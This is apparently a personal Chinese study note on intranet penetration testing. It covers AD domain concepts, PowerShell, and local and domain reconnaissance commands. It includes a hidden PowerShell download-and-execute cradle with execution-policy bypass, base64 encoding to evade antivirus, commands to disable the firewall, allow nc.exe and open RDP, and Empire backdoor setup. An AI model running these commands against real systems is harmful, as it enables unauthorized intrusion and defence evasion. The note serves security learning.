内网学习笔记
一、基础概念学习
工作组work group
使最简单最普通的资源管理模式
将不同的计算机按照功能或部门分别列入不同的工作组,想要访问某个工作组的内容,在“网上邻居”里双击想要访问的工作组即可
加入/创建工作组
控制面板–>系统安全–>系统
重命名这台电脑–>更改

工作组中的计算机是平等的,也被称为对等网站,而对管理者而言,工作组的管理方式有时不太方便,这时候就要学习域的概念了
域domain
是一个有安全边界的计算机集合(安全边界就是在两个域中,一个域中的用户无法访问另一个域中的)
可以简单理解为工作组的升级版,域的安全管理机制更加严格,获取什么样权限的资源必须要先登录到域,而且还取决于用户在域中的身份
域控制器 DC
domain controller至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为域控制器
域控制器中包含了由这个域的账户、密码、属于这个域的计算机等信息构成的数据库
当电脑连入网络时,域控制器首先要鉴别这台电脑是否是属于这个域的,用户使用的登录账号是否存在、密码是否正确。如果以上信息有一样不正确的,那么域控制器就会拒绝这个用户从这台电脑登录。不能登录,用户就不能访问服务器上有权限保护的资源,这样就在一定程度上保护了网络上的资源
正是因为域控起到了一个身份验证的作用,因此站在渗透的角度来说,拿下域控是至关重要的。拿下了域控,就相当于拿到了整个域内所有计算机的账号和密码
内网中的一台主机+安装活动目录=域控
在域中除了域控制器还有成员服务器、客户机、独立服务器
父域和子域
顾名思义,一个域下新建的域就是子域,而这个大的域则是父域
每个域中都有独立的安全策略
域树
是多个域通过建立信任关系组成的集合,活动目录包含一个或多个域树
域树中的域层次越深级别越低,一个“.”代表一个层次
如域child.Microsoft.com 就比 Microsoft.com这个域级别低
而域Grandchild.Child.Microsoft.com又比 Child.Microsoft.com级别低
多个域树可以组成一个域林
域森林
是指由一个或多个没有形成连续名字空间的域树组成
与域树之间的区别:
最明显的区别就在于域林之间没有形成连续的名字空间,而域树则是由一些具有连续名字空间的域组成
域林都有根域,域林的根域是域林中创建的第一个域,域林中所有域树的根域与域林的根域建立可传递的信任关系
域名服务器DNS
是指用于实现域名和与之相对应的ip地址转换的服务器
在内网渗透测试中,大部分是通过寻找dns服务器来确定域控的位置(dns服务器和域控通常配置在同一台机器上)
活动目录 AD
Active Directory
是指域环境中提供目录服务的组件
是 Windows Server 中负责架构中大型网络环境的集中式目录管理服务,在Windows 2000 Server 开始内置于 Windows Server 产品中
如果将内网看做一本字典,那么内网里的资源就是字典的内容,而活动目录相当于字典的索引,活动目录存储的是网络中所有资源的快捷方式,使用活动目录用户就可以通过寻找快捷方式来定位资源
DMZ
demilitarized zone也就是隔离区
DMZ位于内网和外网之间,通常放置一些必须公开但不含机密信息的公开的服务器设施,如web服务器、email服务器、ftp服务器
一般情况下,DMZ不能访问内网和外网,而内网和外网均能访问DMZ,为了保护内网和完成正常的业务
域内权限
学习一下组的概念,在组里包含了很多用户,当管理员想要给某个用户分配权限时,只需要将用户加入到对应权限的组里就行
常见的组有:域本地组、全局组、通用组
域本地组
主要用于授予本域内资源的访问权限
成员范围:所有的域;使用范围:自己所在的域
全局组
只能在创建它的域中添加用户和组,不能添加到不同域的全局组中
成员范围:自己所在的域;使用范围:所有的域
通用组
成员范围:所有的域;使用范围:所有的域
可以这样简单记忆:域本地组来自全林,作用于本域;全局组来自本域,作用于全林;通用组来自全林,作用于全林
AG-D-L-P策略
A-G-DL-P 策略是将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限
- A 表示用户账号
account - G 表示全局组
global - U 表示通用组
universal - DL 表示域本地组
domain local - P 表示资源权限
permission
二、powershell
什么是powershell
PowerShell 是一种跨平台的任务自动化解决方案,由命令行 shell、脚本语言和配置管理框架组成。 PowerShell 在 Windows、Linux 和 macOS 上运行
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework 的强大功能
powershell的特点
- Windows 7 以上的操作系统默认安装
- PowerShell 脚本可以运行在内存中,不需要写入磁盘
- 可以从另一个系统中下载 PowerShell 脚本并执行
- 目前很多工具都是基于 PowerShell 开发的
- 很多安全软件检测不到 PowerShell 的活动
- cmd 通常会被阻止运行,但是 PowerShell 不会
- 可以用来管理活动目录
- PowerShell 是一种跨平台的任务自动化解决方案,由命令行 shell、脚本语言和配置管理框架组成。 PowerShell 在 Windows、Linux 和 macOS 上运行
Windows 操作系统对应的 PowerShell 版本信息
1.0 windows server 2008
2.0 windows server 2008 r2、windows 7
3.0 windows server 2012、windows 8
4.0 windows server 2012 r2、windows 8.1
5.0 windows 10
5.1 windows server 2016
基本概念
ps1 文件
ps1 是PowerShell 的脚本扩展名,一个 PowerShell 脚本文件其实就是一个简单的文本文件
执行策略
为了防止恶意脚本在 PowerShell 中被运行,PowerShell 有个执行策略,默认情况下,这个执行策略是受限模式Restricted(即不能运行)
查询当前执行策略get-executionpolicy

执行策略的种类
Restricted:不能运行脚本
RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(除非它们拥有由受信任的发布者签署的数字签名)
AllSigned:仅当脚本由受信任的发布者签名才能运行。
Unrestricted:脚本执行不受限制,不管来自哪里,也不管它们是否有签名
设置执行策略
set-executionpolicy 执行策略
运行脚本
输入完整路径或是直接到脚本文件所在目录下使用.\ xxx.ps1
管道
同linux中的管道,就是将管道符|前一个命令的输出作为后一个命令的输入
基本命令
获取版本号
get-host

$psversiontable

文件操作命令
1 | 新建目录test:New-Item test -ItemType directory |
总结一下就是
新建命令New-Item 目录名/文件名-ItemType directory/file
删除命令Remove-Item 目录名/文件名
查看文件内容get-content
设置文件内容Set-Content 文件名 -Value "设置的内容"
追加文件内容Add-Content 文件名 -Value "追加的内容"
清除文件内容clear-content 文件名
策略绕过
因为默认的执行策略是restricted,要进行绕过,变成unrestricted
1.绕过本地权限并执行
先来看一下默认受限模式下执行脚本的情况
查看策略powershell.exe get-executionpolicy
执行脚本powershell.exe -file 1.ps1

将”hello”写入1.ps1文件 '"hello"'>1.ps1
并执行 powershell.exe -executionpolicy bypass -file 1.ps1

2.绕过本地权限并隐藏执行
上一条命令-executionpolicy bypass之后再加上-windowstyle hidden -nologo -noninteractive -noprofile即可隐藏执行
powershell.exe -executionpolicy bypass -windowstyle hidden -nologo -noninteractive -noprofile -file 1.ps1
执行的话窗口会直接退出,就是隐藏执行
下载远程脚本并隐藏执行
将-file 1.ps1替换为"IEX(New-Object Net.WebClient).DownloadString('http://ip/t.ps1')"
powershell.exe -executionpolicy bypass -windowstyle hidden -nologo -noninteractive -noprofile "IEX(New-Object Net.WebClient).DownloadString('http://ip/t.ps1')"
其中隐藏执行的代码可以简写成-Exec Bypass -W Hidden -NoLogo -NonI -NoP
3.使用base64对powershell命令进行编码
使用base64对命令进行编码的目的是为了混淆代码以避免被杀毒软件查杀
这里使用到了ps_encoder.py
ps_encoder.py是使用Base64编码封装的PowerShell命令包,其目的是混淆和压缩代码
下载好之后,先将要执行的命令保存到文本1.txt中,之后执行python ps_encoder.py -s 1.txt
然后使用-enc指定base编码内容
powershell.exe -exec bypass -enc YwBtAGQA

然后就被火绒拦截了。。
下星期去了解一下免杀

三、内网信息收集之本地信息收集
概述
当进入内网之后,首先对网络环境进行判断,即
机器角色
判断是web服务器、文件服务器、代理服务器、dns服务器或是其他类型,需要根据机器的主机名、文件、网络连接等综合判断
所处的网络环境的拓扑结构
就是对所处内网进行全面的数据收集和整理分析,大致了解该内网的网络拓扑
当前机器所处区域
判断机器处于网络拓扑中的哪个区域,DMZ、办公区还是核心区,也就是其所处的大概位置
一、手动收集本地信息
1.查询网络配置信息
- 查看当前权限
1 | whoami |

- 查询网络配置信息
1 | ipconfig /all |
2.查询操作系统及软件信息
- 查询操作系统及软件信息
1 | systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" |

- 查看系统体系结构
1 | echo %PROCESSOR_ARCHITECTURE% |

- 查看系统所有环境变量
1 | set |

- 查看安装的软件及版本和路径等信息
1 | wmic product get name,version |

- 利用 PowerShell 收集软件版本信息
1 | powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version" |

3.查询本机服务信息
1 | wmic service list brief |

4.查询进程列表
1 | tasklist /v |

- wmic 查看进程信息
1 | wmic process list brief |

5.查看启动程序信息
1 | wmic startup get command,caption |

6.查看计划任务
1 | schtasks /query /fo LIST /v |

7.查看主机开启时间
1 | net statistics workstation |

8.查询用户列表
1 | net user |

- 查看指定用户的信息
1 | net user xxx |

- 查看本地管理员用户
1 | net localgroup administrators |
- 查看当前在线用户
1 | query user || qwinsta |

9.列出或断开本地计算机和连接的客户端的会话
1 | net session |
1 | 发生系统错误 5。 |
10.查看端口列表
1 | netstat –ano |
11.查看补丁列表
查看系统的详细信息
1 | systeminfo |

- 使用 wmic 查看补丁列表
1 | wmic qfe get Caption,Description,HotFixID,InstalledOn |

12.查看本机共享
1 | net share |

- 使用 wmic 查看共享列表
1 | wmic share get name,path,status |
13.查询路由表及所有可用接口的ARP 缓存表
1 | route printarp –a |
14.查询防火墙相关配置
- 关闭防火墙
1 | netsh firewall set opmode disable (Windows Server 2003 系统及之前版本) |
- 查看防火墙配置
1 | netsh firewall show config |

修改防火墙配置
1
2
3
4
5
6
7
8
9
10
11(Windows Server 2003 系统及之前版本)允许指定程序全部连接
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
(Windows Server 2003 之后系统版本)允许指定程序连入
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: \nc.exe"
允许指定程序连出
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe"
允许 3389 端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
- 自定义防火墙日志储存位置
1 | netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log |
15.查看计算机代理配置情况
1 | reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" |
16.查询并开启远程连接服务
- 查看远程连接端口(0xd3d换成10进制即3389)
1 | REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber |

- 在Windows Server 2003 中开启3389 端口
1 | wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1 |
- 在Windows Server 2008 和Windows Server 2012 中开启3389 端口
1 | wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1 |
二、自动收集信息
wmic
windows管理工具命令行,在默认情况下,任何版本的XP的低权限用户不能访问wmic,win7以上的低权限用户允许访问并执行相关操作
直接运行这个bat文件,会生成out.html文件


PowerShsell Empire
中文简称 “帝国”,是一款针对 Windows 系统平台而打造的渗透工具
与msf的区别是:
- MSF 是全平台的,无论是win,linux,mac都可以打,但 Empire 是只针对 Windows 的
- MSF 集信息收集,渗透,后渗透,木马,社工的功能为一体,全面多能;而 Empire 专注于内网渗透,它是针对 PowerShell 的
使用了git clone --recursive https://github.com/BC-SECURITY/Empire.git和sudo apt install powershell-empire
wget https://raw.githubusercontent.com/backlion/demo/master/Empire-master.zip都没有成功

最后还是使用docker搭建一下
1 | docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire |
进入容器内部
docker exec -it 容器id bash
运行
./empire

使用
查看帮助信息

设置监听
1 | (Empire)> listeners #监听 |

1 | (Empire: listeners) > usestager windows/launcher_bat backdoo # 选择木马种类 |
使用empire使得主机上线后,收集主机信息主要用到了powershell/situational_awareness/host/winenum模块
powershell/situational_awareness/host/computerdetails模块可查看更丰富的信息,比如RDP登录信息、主机时间日志等等,在运行这个模块时需要管理员权限
总结
常用命令
1 | whoami #查看当前权限 |
四、域内信息收集
1.判断是否存在域
ipconfig /all
查看网关 IP 地址、DNS 的 IP 地址、域名、本机是否和 DNS 服务器处于同一网段
nslookup 解析域名的 IP 地址,查看是否与 DNS 服务器为同一 IP
nslookup 域名
系统详细信息
systeminfo
systeminfo | findstr 域:查看域
当前登录域和域用户
net config workstation
判断主域
net time /domain
2.收集域内基础信息
查看域
net view /domain
查看域内计算机
net view /domain:domain_name
查看域内用户列表
net group /domain
查看域用户组信息
net group "Enterprise Admins" /domain
查看域密码策略信息
net accounts /domain
查看域信任信息
nltest /domain_trusts
3.收集域用户和管理员信息
查询域用户详细信息
wmic useraccount get /all
查询存在的用户
dsquery user
常用的dsquery命令
dsquery computer - 查找目录中的计算机
dsquery contact - 查找目录中的联系人
dsquery subnet - 查找目录中的子网
dsquery group - 查找目录中的组
dsquery ou - 查找目录中的组织单位
dsquery site - 查找目录中的站点
dsquery server - 查找目录中的域控制器
dsquery user - 查找目录中的用户
dsquery quota - 查找目录中的配额
dsquery partition - 查找目录中的分区
dsquery * - 用通用的 LDAP 查询查找目录中的任何对象
4.查找域控
查看域控机器名
nltest /dclist:域名
查看域控主机名
nslookup -type=SRV _ldap._tcp
netdom query pdc
查看域控组
net group "domain controllers" /domain
5.定位域管理员
psloggedon
net session 可以查看谁使用了本机资源,但不能查看谁在使用远程计算机资源、谁登录了本地或远程计算机
使用 psloggedon 可以查看本地登录的用户和通过本地计算机或远程计算机进行资源登录的用户
参考文章
内网安全攻防渗透测试实战指南